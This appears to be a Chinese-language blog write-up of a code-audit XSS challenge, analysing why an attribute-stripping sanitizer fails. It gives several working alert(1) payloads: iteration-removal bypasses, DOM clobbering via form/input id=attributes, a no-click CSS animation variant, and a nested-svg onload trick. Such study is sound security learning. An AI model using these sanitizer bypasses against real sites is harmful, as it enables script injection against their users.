一道XSS审计的思考学习
本文最后更新于 914 天前,其中的信息可能已经有所发展或是发生改变。

题目

起因是在代码审计星球,P牛抛出的问题。

把代码稍微调了一下,放这里:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<script>
    const data = decodeURIComponent(location.hash.substr(1));
    const root = document.createElement('div');
    root.innerHTML = data;

    // 这里模拟了XSS过滤的过程,方法是移除所有属性
    for (let el of root.querySelectorAll('*')) {
        for (let attr of el.attributes) {
            el.removeAttribute(attr.name);
        }
    }

    document.body.appendChild(root);
</script>
</body>
</html>

大概思路就是把用户的输入放在了一个新建的DOM(root)中,然后遍历DOM,将所有的属性替换为空(据P牛所说本来这里是有白名单,直接改为全部替换为空,相当于白名单为空)。

注意这里插入到root树的方式是innerHTML,在这里插入script是不会执行的,例如<script>alert(1);</script>,这里是不能执行的。

remove绕过

这里的预期解法是通过多属性,由于执行了remove,此时实际上会导致循环的对象el.attributes本身发生变化,他的length变小了,这样导致有一些属性就并没有被循环到,而保留了下来,最后绕过。

星球的一些payload,都是结合多属性再加上on函数触发:

// by @evoA
<svg/a./onerror=alert(1)>
// by @Zedd
<details open ontoggle=alert(1)>
// by @七友
<svg 1="" onload=alert(1)>

传入

http://localhost/index.html#<svg 1="" onload=alert(1)>

在这里移除了1属性:

onload属性没有进入remove,XSS成功。

进阶版

P牛在day2又改进了新的题目,修复了上面的漏洞:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<script>
    const data = decodeURIComponent(location.hash.substr(1));
    const root = document.createElement('div');
    root.innerHTML = data;

    // 这里模拟了XSS过滤的过程,方法是移除所有属性
    for (let el of root.querySelectorAll('*')) {
        let attrs = [];
        for (let attr of el.attributes) {
            attrs.push(attr.name);
        }
        for (let name of attrs) {
            el.removeAttribute(name);
        }
    }

    document.body.appendChild(root);
</script>
</body>
</html>

可以看到新建了一个attrs数组用来存储复制的属性,该数组的大小在remove过程没有发生变化,也就是上面的exp不能使用了。

Dom Clobbering

DOM clobbering,该技术是2019年 Top 10 web hacking techniques of 2019 的提名,是一个很有意思的技术,Zedd师傅在他的博客中也有提及,详见使用 Dom Clobbering 扩展 XSS

DOM 最初是在没有任何标准化的情况下诞生和实现的,这导致了许多特殊的行为,但是为了保持兼容性,很多浏览器仍然支持异常的 DOM 。

DOM 的旧版本(即DOM Level 0 & 1)仅提供了有限的通过 JavaScript 引用元素的方式,一些经常使用的元素具有专用的集合(例如document.forms),而其他元素可以通过WindowDocument对象上的name属性和id属性来引用,

显然,支持这些引用方式会引起混淆,即使较新的规范试图解决此问题,但是为了向后兼容,大多数行为都不能轻易更改。并且,浏览器之间没有共识,因此每个浏览器可能遵循不同的规范(甚至根本没有标准)。显然,缺乏标准化意味着确保DOM的安全是一项重大挑战。

由于非标准化的 DOM 行为,浏览器有时可能会向各种 DOM 元素添加 name & id 属性,作为对文档或全局对象的属性引用,但是,这会导致覆盖掉 document原有的属性或全局变量,或者劫持一些变量的内容,而且不同的浏览器还有不同的解析方式,所以本文的内容如果没有特别标注,均默认在 Chrome 80.0.3987.116 版本上进行。

Dom Clobbering 就是一种将 HTML 代码注入页面中以操纵 DOM 并最终更改页面上 JavaScript 行为的技术。 在无法直接 XSS 的情况下,我们就可以往 DOM Clobbering 这方向考虑了。

使用 Dom Clobbering 扩展 XSS

Zedd师傅举了几个简单的例子来介绍Dom Clobbering。

Example1

example1.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<img id=x>
<img name=y>
<script>
  console.log(x);
  console.log(y);
  console.log(document.x);
  console.log(document.y);
  console.log(window.x);
  console.log(window.y);
</script>
</body>
</html>

run之后,可以看到除了document拿不到id之外,其他的window和document都拿到了name和id的对象,这就意味着我们可以通过创建document或window下的同名对象来覆盖原来的对象。

Example2

可以看到,我们通过创建<img name=cookie>对象,插入DOM后成功覆盖了document.cookie

Example3

example3.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<form name="body">
  <img id="appendChild">
</form>
<script>
  let div = document.createElement('div');
  document.body.appendChild(div);
</script>
</body>
</html>

利用img重写了appendChild函数,注意这里的多重标签必须构成上下级关系。

看了这三个示例,应该就能对这种攻击方式有个大概的了解,更多的攻击方式移步Zedd师傅博客,这里不做更详细的介绍。

利用 Dom Clobbering XSS

回到这道题

    const data = decodeURIComponent(location.hash.substr(1));
    const root = document.createElement('div');
    root.innerHTML = data;

    // 这里模拟了XSS过滤的过程,方法是移除所有属性
    for (let el of root.querySelectorAll('*')) {
        let attrs = [];
        for (let attr of el.attributes) {
            attrs.push(attr.name);
        }
        for (let name of attrs) {
            el.removeAttribute(name);
        }
    }

    document.body.appendChild(root);

例如,当我们传入

<form onclick="alert(1)">

跟进一下会发生什么。

如图所示,在进入循环后,el参数选中了form表单,通过el.attributes选中el就是form标签的属性名,在这里的属性名为onclick,最后进行了删除。

那么,如果我构造一个多重标签,标签有上下级关系,其中二级标签的id或者name为attributes,对原有属性进行覆盖,会发生什么?为了进行测试,我选择了form->input的上下级标签,以下这些标签都是可以的

form->button
form->fieldset
form->image
form->img
form->input
form->object
form->output
form->select
form->textarea

而form表单标签支持的事件函数并不多,onclick是其中之一,于是我们构造这样的payload

<form onclick="alert(1)"><input id=attributes><input id=attributes>

还是原来的配方,但是已经是不同的配料了,el.attributes选中了input#attributes和input#attributes,原来的attributes即onclick被进行了覆盖并没有被remove,最后点击执行。

这里我遇到了一个疑问,为什么需要两个input?由于这里的form表单只有一个属性,理论上来说如果需要覆盖的话只要一个input标签就够了,但是刚开始测试时我使用了一个Input标签,发现会报错:

debug了一下发现当存在两个input时,el.attributes返回的是一个RedioNodeList,即iterable(可迭代对象)。

在传入一个input时,el.attributes返回的是一个标签,就变成不可迭代对象了,所以会产生报错。

特别有意思,学到了。

不需要用户交互的 Dom Clobbering

分享Zedd师傅最后提出的payload,也就是不需要click操作的payload,无需用户操作

<style>@keyframes x{}</style><form style="animation-name:x" onanimationstart="alert(1)"><input id=attributes><input id=attributes>

这里的@keyframs是动画操作,有兴趣的可以了解一下CSS,通过style引入动画,最后执行onanimationstart(动画开始的监听),由于这里只有两个属性,补上两个input就行了。

在innerHTML后执行

P牛的payload

<svg><svg onload=alert(1)>

除了Dom Clobbering,解决第二个挑战的还有一种方法,也是我最早想给大家介绍的trick:

很惊奇,为什么这个onload没有被移除呢?其实他被移除了,但在移除前已经执行了,这个解法有点类似于条件竞争。

我们把这道题目代码的前三行拿出来:

 const data = decodeURIComponent(location.hash.substr(1));
 const root = document.createElement(“div”);
 root.innerHTML = data;

其实只尝试这三行,可以得出一个结论:即使我们不把root这个新创建的DOM对象写入页面,XSS仍然可以正常执行,比如我们可以使用最简单的< img src=1 onerror=alert(1)>,也可以使用我们这题的答案。

当然,增加了后面过滤操作以后,img这个payload就无法正常执行了。但是,后者仍然可以执行,可见,onload这个事件是在加载进innerHTML到remove属性之前就触发了。

但为什么一个svg无法正常触发,两个svg才能触发,这个原因仍然有待从底层进行研究,大概和svg的生命周期有一定关系。

调试一下

发现这alert(‘1’)是在执行了innerHTML时就已经执行了。至于后面发不发生appendChild已经和这里的XSS无关了。

总结

Dom Clobbering 让我学到了又一种新姿势,至于最后的payload为什么能够执行,我也没有头绪,更底层的东西我也不是很懂,希望会的师傅可以指点一下我这个菜鸡,蹲代码审计星球一个答案。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇